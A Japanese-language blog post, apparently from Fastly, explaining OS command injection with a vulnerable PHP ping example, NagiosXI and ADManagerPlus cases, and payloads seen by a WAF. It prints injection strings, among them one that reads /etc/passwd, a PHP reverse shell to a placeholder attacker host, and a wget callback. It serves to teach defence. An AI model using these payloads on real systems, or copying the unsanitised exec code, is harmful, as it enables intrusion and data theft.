OS コマンドインジェクション は、基盤となるオペレーティングシステムで攻撃者が任意のコマンドを実行するのを可能にする Web アプリケーションの脆弱性です。このような脆弱性の悪用は、ユーザーによって引数として提供された入力によって Web アプリケーションがオペレーティングシステムのコマンドを呼び出すことで発生します。この脆弱性は CWE-77 または CWE-78 として特定されています。
社内システムをモニタリングし、システムの一部がオフラインになった場合にアラートを発する Web アプリケーションを想定してみましょう。このシナリオでは、対象にレスポンスが届くかどうかネットワークをテストするために、アプリケーションが ping コマンドを実行するとします。アプリケーションが PHP で記述されている場合、基盤のコードは以下のような感じになるでしょう。
$ip_address = $_GET["ip_address"])
$not_used = array();
$return_code = 0;
exec('ping -W 2 -c 1 ' . $ip_address, $not_used, $return_code)
この例では、到達可能性をテストするためのターゲットとして最後に追加された「ip_address」にユーザーが提供する値を使用して ping コマンドが exec 関数によって実行されます。しかし、攻撃者が localhost; cat /etc/passwd
を IP アドレスとして提供すると、ping コマンドとセミコロンの後に開始されるふたつ目 のコマンドの両方が実行されます。成功すると、攻撃者は完全にコマンド実行が可能になり、自由に悪意のあるコマンドを実行し、アクセスの拡大や機密情報の取得、パーシステンスの維持、ネットワーク上の他のターゲットへの転換などを試みることができます。コマンドインジェクション攻撃を可能にする脆弱性は壊滅的な影響につながることが多いことから、通常は他の Web アプリケーション脆弱性よりも深刻度が高いと評価されます。
コマンドインジェクションは、コードインジェクション をはじめとするその他のインジェクション攻撃と混同されることがよくあります。このふたつの脆弱性を区別する最も簡単な方法は、ペイロード実行のメソッドとコンテキストを確認することです。
コマンドインジェクションの特徴は、外部プログラムへの呼び出しにインジェクションすることで、基盤のオペレーティングシステムのシェルプログラム (bash や PowerShell など) のコンテキストで実行されることにあります。
コードインジェクションは使用されているプログラミング言語のコンテキストで実行されます。例として、PHP の include 関数 や eval 関数にインジェクションして任意の PHP コードを実行できるようにする方法が挙げられます。
コマンドインジェクションのペイロードに PHP などのプログラミング言語のコードが含まれている場合、上記のふたつが混同されることがあります。例えば、リバースシェルを開始する前述の例で以下のコマンドインジェクションを使用するとします。
localhost; php -r '$sock=fsockopen("attackers.ip.example.com",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
ペイロードの大部分が PHP コードなので、一見するとコードインジェクションであるかのような印象を受けるかもしれません。しかしペイロードの最初の部分を見ると、コマンドインジェクションであることが実際にわかります。この例では、PHP コマンドが実行される前にセミコロンによって ping コマンドが終了します。次に、php-r が次の PHP をコマンドラインで実行し、ここではこれは攻撃者の IP アドレスに接続を行うリバースシェルになります。OS のシェルプログラムの引数にインジェクションしているので、PHP コードがペイロードで実行されている間、OS コマンドインジェクションが起きています。undefined
OS コマンドインジェクションと、他のインジェクション攻撃の違いを理解したところで、前者の攻撃の実例と実行方法を見てみましょう。undefinedundefined
NagiosXI のバージョン 5.5.6 から 5.7.5 には、三つのコマンドインジェクションの脆弱性が存在しました。実際、前述の ping の例は CVE-2021-25298 を参考にしています。このコマンドインジェクションの脆弱性は、ユーザーが提供する IP アドレスを使用する PHP の exec 関数を通じて行う ping の呼び出しに存在します。私たちはこれらの CVE の詳細な分析 を行った際、Meterpreter のリモートシェルと Project Discovery の interactsh へのコールバックの両方を開始することによって、これらの脆弱性を利用する実際的な方法をご紹介しました。CISA が報告 しているように、この記事の執筆時点において、これらの CVE が攻撃者によって活発に悪用されていることから、システムの侵害においてこれらの CVE に潜在的価値があることがわかります。
このコマンドインジェクションの脆弱性は、コマンドインジェクションを回避する****望ましくない方法の好例を示しています。undefinedDinh Hoang 氏による素晴らしい記事 では、この脆弱性について具体的に ADManagerPlus が CommonUtil.getPowerShellEscapedValue の関数を使用し、reg add コマンドのためにユーザーによって提供されたユーザー名とパスワードの値をエスケープしている方法が解説されています。しかし、この関数は CRLF 文字をエスケープしないので、次のペイロードがパスワードとして挿入され、calc を開始するのを可能にします : [any-content]\r\ncalc.exe
。後ほどご説明しますが、このタイプの入力のサニタイズはミスや新たなバイパス、メタ文字の見落としを招き、将来的にコマンドインジェクションにつながる可能性があります。
Fastly の Next-Gen WAF は、コマンドインジェクション攻撃からシステムを保護します。観測されたコマンドインジェクションのペイロードをいくつか調べることで、OS コマンドインジェクションの脆弱性を検出するために攻撃者が何を送信しているかを確認できます。
language=&ping -c 25 127.0.0.1 &
このペイロードは言語フィールドへのコマンドインジェクションのシンプルな試みです。これはインジェクションを検出するのにコマンドからの出力の取得に依存しない、ブラインド・コマンド・インジェクションの手法を使用しています。undefinedまずペイロードはメタ文字「&」を使用し、最初のコマンドをバックグラウンドで実行しながら2番目のコマンドを実行します。ペイロードに含まれる「-c」フラグを持つ ping コマンドは、25個のパケットを送信するよう ping に指示します (1秒ごとに1個) レスポンス時間を分析することで、攻撃者は注入したコマンドが実行されたかどうかを判断できます。ただし狙ったアプリケーションが、実行されたコマンドが完了するのを待たずに HTTP レスポンスを送信する場合、この手法の効果が制限され、役に立たない可能性があります。この制約がない、より興味深いブラインド・コマンド・インジェクションの例を見てみましょう。
macAddress=112233445566;wget http://[redacted-subdomain].oast.site#
このペイロードは帯域外のネットワークインタラクションを利用するブラインド・コマンド・インジェクションの手法で、注入されたコマンドによって送信されるネットワークリクエストを検出してコマンドインジェクションを確認します。このペイロードを「コマンドのエスケープとセットアップ」と「注入されたコマンドのコンテンツ」の2つのパーツに分けてみましょう。